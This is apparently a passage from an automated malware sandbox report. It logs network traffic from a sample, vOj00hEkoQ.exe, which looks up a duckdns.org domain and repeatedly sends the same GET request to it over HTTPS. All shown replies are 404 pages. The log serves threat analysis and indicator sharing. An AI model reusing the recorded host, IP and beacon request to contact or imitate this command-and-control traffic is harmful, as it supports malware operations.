Aug 5, 2022 12:12:29.978177071 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.978199959 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.978290081 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.978601933 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.978635073 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.978652954 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.978710890 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.096847057 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.096904993 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.097208977 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.097842932 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.097875118 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.163049936 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.163157940 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.163736105 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.163749933 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.167337894 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.167354107 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.220055103 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.220138073 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.220215082 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.220251083 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.220498085 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.220518112 CEST	443	49984	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:30.220527887 CEST	49984	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:30.224041939 CEST	49984	443	192.168.2.6	208.67.105.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 12:10:27.529762030 CEST	55201	53	192.168.2.6	8.8.8.8
Aug 5, 2022 12:10:27.636805058 CEST	53	55201	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2022 12:10:27.529762030 CEST	192.168.2.6	8.8.8.8	0x92e3	Standard query (0)	aubromaterkiddie.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 5, 2022 12:10:27.636805058 CEST	8.8.8.8	192.168.2.6	0x92e3	No error (0)	aubromaterkiddie.duckdns.org		208.67.105.81	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

aubromaterkiddie.duckdns.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49738	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	Direction	Data
2022-08-05 10:10:28 UTC	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:28 UTC	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:28 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49739	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	Direction	Data
2022-08-05 10:10:28 UTC	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:28 UTC	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:28 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49771	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:35 UTC	4	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:36 UTC	4	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:35 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:36 UTC	4	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	49896	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:06 UTC	42	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:06 UTC	42	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:06 UTC	42	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	49897	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:06 UTC	42	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:06 UTC	42	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:06 UTC	42	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	49898	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:06 UTC	43	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:06 UTC	43	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:06 UTC	43	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	49899	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:06 UTC	43	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:06 UTC	43	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:06 UTC	43	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	49900	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:07 UTC	43	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:07 UTC	44	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:07 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:07 UTC	44	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49901	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:07 UTC	44	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:07 UTC	44	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:07 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:07 UTC	44	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	49902	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:07 UTC	44	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:07 UTC	44	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:07 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:07 UTC	45	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49904	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:07 UTC	45	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:07 UTC	45	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:07 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:07 UTC	45	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	49905	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:08 UTC	45	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:08 UTC	45	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:08 UTC	45	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49907	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:08 UTC	46	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:08 UTC	46	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:08 UTC	46	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49774	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:37 UTC	4	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:37 UTC	4	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:37 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:37 UTC	4	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	49908	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:08 UTC	46	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:08 UTC	46	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:08 UTC	46	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	49909	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:08 UTC	46	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:08 UTC	47	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:08 UTC	47	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	49910	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:09 UTC	47	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:09 UTC	47	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:09 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:09 UTC	47	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	49911	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:09 UTC	47	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:09 UTC	47	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:09 GMT Content-Type: text/html Content-Length: 146 Connection: close
